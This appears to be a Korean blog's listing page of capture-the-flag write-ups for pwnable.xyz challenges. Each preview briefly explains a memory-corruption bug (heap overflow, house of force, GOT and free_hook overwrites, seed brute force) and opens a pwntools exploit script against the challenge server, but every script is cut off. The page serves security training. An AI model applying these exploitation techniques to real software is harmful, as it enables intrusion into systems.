pwn/pwnable.xyz (39) 썸네일형 리스트형 [pwnable.xyz] AdultVM2 from pwn import * context.log_level = "debug" #p = process("./userland") p = remote("svc.pwnable.xyz", 30048) ru = lambda a : p.recvuntil(a) snd = lambda a : p.send(a) snl = lambda a : p.sendline(a) def show(idx): ru(b"Exit\n") snl(b"2") ru(b": ") snl(str(idx).encode()) def edit(idx, data): ru(b"Exit\n") snl(b"1") ru(b": ") snl(str(idx).encode()) ru(b": ") snd(data) syscall = 0x0004000338 read =.. [pwnable.xyz] AdultVM3 from pwn import *#context.log_level = "debug"#p = process("./userland")p = remote("svc.pwnable.xyz", 30048)ru = lambda a : p.recvuntil(a)snd = lambda a : p.send(a)snl = lambda a : p.sendline(a)def show(idx): ru(b"Exit\n") snl(b"2") ru(b": ") snl(str(idx).encode())def edit(idx, data): ru(b"Exit\n") snl(b"1") ru(b": ") snl(str(idx).encode()) ru(b": ") snd(data)syscall.. pwnable.xyz / world 공격 루트는 금방 알았는데 파이썬을 못해서 오래 걸렷다... srand의 seed값을 변경 기능, plaintext 암호화 기능, 암호문 출력기능이 존재한다 bof가 터지고 입력한 암호문을 출력해주는 기능이 존재하지만 0x80만을 출력하기 때문에 릭이 불가능하다 하지만 do_seed함수에는 srand을 설정할 때 win함수의 1byte 값을 가지고하기 때문에 1byte srand에 해당하는 고정된 rand값을 알 수 있기 때문에 이를 릭해낼 수 있다 암호화도 단순히 입력한 문자열를 1byte씩 랜덤한 1byte와 더하는 작업을 수행한다 PIE가 설정된 win함수를 릭한 뒤에 다음 encryption에 쓰일 byte를 알아내어서 payload의 각 byte과 빼준 뒤 ret를 win함수로 덮었다 from .. pwnable.xyz / note v3 note를 생성, 수정, 출력 기능이 존재한다 free가 불가능하고 heap overflow를 터트릴 수 있어서 house of force를 통해 note에 청크를 생성해 got주소를 적어두고 note edit를 통해 got overwrite했다 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30041) #p = process("./note_v3", env = {"LD_PRELOAD" : "./alpine-libc-2.24.so"}) #gdb.attach(p) def make(size, title, note = 0): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"Size.. pwnable.xyz / door 랜덤 하게 생성된 값을 맞추면 aaw가 가능하다 잠을 못자 판단이 흐려져서 그런지 머리에 계속 4byte brute force만 떠올랐다 enter the door에서 원하는 주소 4byte를 0으로 만드는 것이 가능하다 put + 4를 먼저 null로 만들고 랜덤 한 값이 저장된 bss + 1 주소를 널로 만들어 1byte만 brute force 하도록 만들었다 이후에 aaw는 puts got주소에 win함수를 넣었다 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30039) #p = process("./door") def brute(): for i in range(0x100): p.recvuntil(b"> ").. pwnable.xyz / child transform을 통해 child -> adult 또는 adult -> child로 이때 이동할 때 child와 adult의 job와 age가 뒤바뀌어 사용된다 이걸 통해 다음 child를 변조할 수 있고 free got주소에 win함수 넣었다 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30038) #p = process("./child") #gdb.attach(p) def child(name, job): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"Age: ") p.sendline(b"17") p.recvuntil(b"Name: ") p.send(name) p.r.. pwnable.xyz / Car shop remodel함수에서 길이를 갱신하는 과정에서 heap overflow를 낼 수 있다 릭하고 free_hook에다가 win넣었다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30037) #p = process("./car_shop", env = {"LD_PRELOAD" : "./alpine-libc-2.23.so"}) libc = ELF("alpine-libc-2.23.so") def buy(idx): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(str(idx)) def sell(car): p.recvuntil(b"> ") p.sendline.. pwnable.xyz / words save_progress() 함수에서 buf가 비어있고 malloc의 반환 값이 0이 되면 reserve의 주소를 buf에 저장하고 reserve에 값을 저장한다 이를 통해 이후에 해당 함수를 호출할 경우 데이터를 쓰면 reserve에 들어가게 된다 이후에 strcat을 통해 buf의 하위 1byte를 널 바이트로 변조한 뒤 buf영역을 got주소를 주어서 win함수로 덮었다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30036) #p = process("./words") def num(num1, num2): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"> ") p.s.. 이전 1 2 3 4 5 다음